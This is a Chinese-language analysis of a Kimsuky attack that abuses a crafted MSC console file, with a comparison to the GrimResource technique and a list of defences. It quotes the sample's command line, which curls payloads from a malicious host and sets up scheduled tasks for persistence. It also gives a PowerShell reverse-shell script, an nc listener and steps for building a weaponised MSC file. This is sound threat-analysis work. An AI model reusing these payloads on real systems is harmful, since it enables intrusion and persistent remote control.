从Kimsuky组织msc攻击样本到GrimResource
字数 2126 2025-08-24 07:48:34
MSC文件攻击技术分析与防御指南
1. MSC文件基础
1.1 MSC文件概述
MSC(Microsoft Snap-In Control)文件是微软管理控制台MMC(Microsoft Management Console)用来添加/删除的嵌入式管理单元文件。通过MMC可以管理系统中已安装的MSC文件,例如组策略编辑器(gpedit.msc)。
1.2 MSC文件结构
MSC文件本质上是XML格式的文件,主要结构如下:
<?xml version="1.0"?>
<MMC_ConsoleFile>
<ConsoleFileID>XXX</ConsoleFileID>
<FrameState>xxx</FrameState>
<Views>
<View>XXX</View>
</Views>
<VisualAttributes>
<Icon Index="0" File="xxxx">
<Image Name="Large" BinaryRefIndex="0"/>
<Image Name="Small" BinaryRefIndex="1"/>
<Image Name="Large48x" BinaryRefIndex="2"/>
</Icon>
</VisualAttributes>
<ScopeTree>
<SnapinCache></SnapinCache>
<Nodes>
<Node ID="1" ImageIdx="0" CLSID="{xxx}" Preload="true">
<Nodes/>
<String Name="Name" ID="3"/>
<Bitmaps>
<BinaryData Name="Small" BinaryRefIndex="3"/>
<BinaryData Name="Large" BinaryRefIndex="4"/>
</Bitmaps>
<ComponentDatas>
<ComponentData>
<GUID Name="Snapin">{xxx}</GUID>
<Stream BinaryRefIndex="5"/>
</ComponentData>
</ComponentDatas>
<Components/>
</Node>
</Nodes>
</ScopeTree>
<ConsoleTaskpads>
<ConsoleTaskpad>
<String Name="Name" ID="11"/>
<String Name="Description" ID="12"/>
<String Name="Tooltip" Value=""/>
<Tasks>
<Task Type="CommandLine" Command="cmd.exe">
<String Name="Name" ID="13"/>
<String Name="Description" ID="14"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowState="Minimized" Params="/c calc"/>
</Task>
</Tasks>
</ConsoleTaskpad>
</ConsoleTaskpads>
<ViewSettingsCache>xxx</ViewSettingsCache>
<ColumnSettingsCache></ColumnSettingsCache>
<StringTables>
<IdentifierPool AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="15"/>
<StringTable>
<GUID>{xxxx}</GUID>
<Strings>
<String ID="1" Refs="1">Local Group Policy Editor</String>
<String ID="2" Refs="1">Favorites</String>
<String ID="3" Refs="1">Local Computer Policy</String>
<String ID="4" Refs="2">Console Root</String>
</Strings>
</StringTable>
</StringTables>
<BinaryStorage>
<Binary Name="CONSOLE_FILE_ICON_LARGE">Base64编码或其他编码方式</Binary>
</BinaryStorage>
</MMC_ConsoleFile>
2. Kimsuky组织攻击样本分析
2.1 样本基本信息
- SHA256: 57e9b7d1c18684a4e8b3688c454e832833e063019ed808fd69186c4e20df930a
- 攻击手法: 利用特制的MSC文件实现攻击
- 伪装手段: 使用Word图标迷惑受害者,针对韩国地区发起攻击
2.2 攻击核心代码分析
<ConsoleTaskpads>
<ConsoleTaskpad ListSize="Medium" IsNodeSpecific="true" ReplacesDefaultView="false" NoResults="true" DescriptionsAsText="true" NodeType="{C96401CE-0E17-11D3-885B-00C04F72C717}" ID="{656F3A6A-1A63-4FC4-9C9B-4B75AF6DF3A3}">
<String Name="Name" ID="11"/>
<String Name="Description" ID="12"/>
<String Name="Tooltip" Value=""/>
<Tasks>
<Task Type="CommandLine" Command="cmd.exe">
<String Name="Name" ID="13"/>
<String Name="Description" ID="14"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&curl -o "c:\users\public\music\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1"&curl -o "c:\users\public\pictures\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1"&move /y "c:\users\public\music\default1" "c:\users\public\music\default1.xml"&start explorer "https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit"&schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f&curl -o "c:\users\public\music\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam2"&curl -o "c:\users\public\pictures\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam2"&move /y "c:\users\public\music\default2" "c:\users\public\music\default2.xml"&move /y "c:\users\public\pictures\default1" "c:\users\public\pictures\default1.vbs"&schtasks /create /tn TermServiceUpdater /xml c:\users\public\music\default2.xml /f&move /y "c:\users\public\pictures\default2" "c:\users\public\pictures\default2.vbs""/>
</Task>
</Tasks>
<BookMark Name="TargetNode" NodeID="1"/>
</ConsoleTaskpad>
</ConsoleTaskpads>
2.3 攻击流程分解
- 设置命令行窗口:
mode 15,1(黑背景色白前景色,显示1行) - 下载恶意文件:
curl -o "c:\users\public\music\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1"curl -o "c:\users\public\pictures\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1"
- 文件重命名:
move /y "c:\users\public\music\default1" "c:\users\public\music\default1.xml"
- 迷惑行为:
start explorer "https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit"
- 创建计划任务:
schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f
- 重复下载和创建:
- 下载xam2和sam2文件
- 重命名为xml和vbs格式
- 创建第二个计划任务TermServiceUpdater
3. GrimResource技术分析
3.1 原始GrimResource技术
- 发现时间: 2024年6月6日由Elastic安全实验室发现
- 核心漏洞: 利用apds.dll库中的跨站脚本(XSS)漏洞
- 执行方式: 通过制作的MSC文件StringTable部分引用易受攻击的APDS资源,在mmc.exe上下文中执行任意JavaScript
3.2 本样本与GrimResource的异同
| 特性 | 原始GrimResource | 本样本 |
|---|---|---|
| 利用载体 | MSC文件 | MSC文件 |
| 执行方式 | 利用apds.dll漏洞执行JS | 利用MSC任务面板执行命令行 |
| 技术依赖 | 依赖特定DLL漏洞 | 依赖MSC文件特性 |
| 绕过防御 | 高 | 高 |
| 攻击方式 | 自动执行 | 需要用户交互(点击) |
| 持久性 | 高 | 通过计划任务实现 |
4. 攻击复现与防御
4.1 攻击复现示例
构建反弹shell的MSC文件:
- 准备PowerShell反弹脚本:
New-Object System.Net.Sockets.TCPClient("127.0.0.1",14512);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
-
将编码后的PowerShell命令嵌入MSC文件的CommandLine部分
-
设置nc监听:
nc -lvp 14512 -
执行MSC文件后成功获取反弹shell
4.2 查杀率分析
- 微步: 查杀率低
- VirusTotal: 12/63检测率(主要因特征重合被识别为Kimsuky相关)
4.3 防御措施
-
用户教育:
- 不要随意打开来源不明的MSC文件
- 警惕伪装成常见程序图标的文件
-
技术防御:
- 禁用或限制MMC的自动执行功能
- 监控和限制计划任务的创建
- 拦截可疑的curl或下载行为
- 使用应用程序白名单限制未知程序执行
-
检测规则:
- 监控MSC文件中包含CommandLine任务的部分
- 检测包含可疑URL或命令的MSC文件
- 建立针对计划任务创建的基线监控
-
系统加固:
- 限制公共目录(如Public)的写入权限
- 禁用不必要的系统管理工具
- 保持系统和安全软件更新
5. 总结与展望
MSC文件作为一种合法的系统管理工具,正被越来越多的攻击组织利用。Kimsuky组织的这次攻击展示了不同于原始GrimResource技术的新方法,通过MSC文件的任务面板功能直接执行恶意命令,结合计划任务实现持久化。
防御方面需要采取多层次措施,既要防范技术层面的利用,也要提高用户安全意识。随着攻击手法的不断演变,安全团队需要持续关注此类"合法工具滥用"的攻击方式,及时更新防御策略。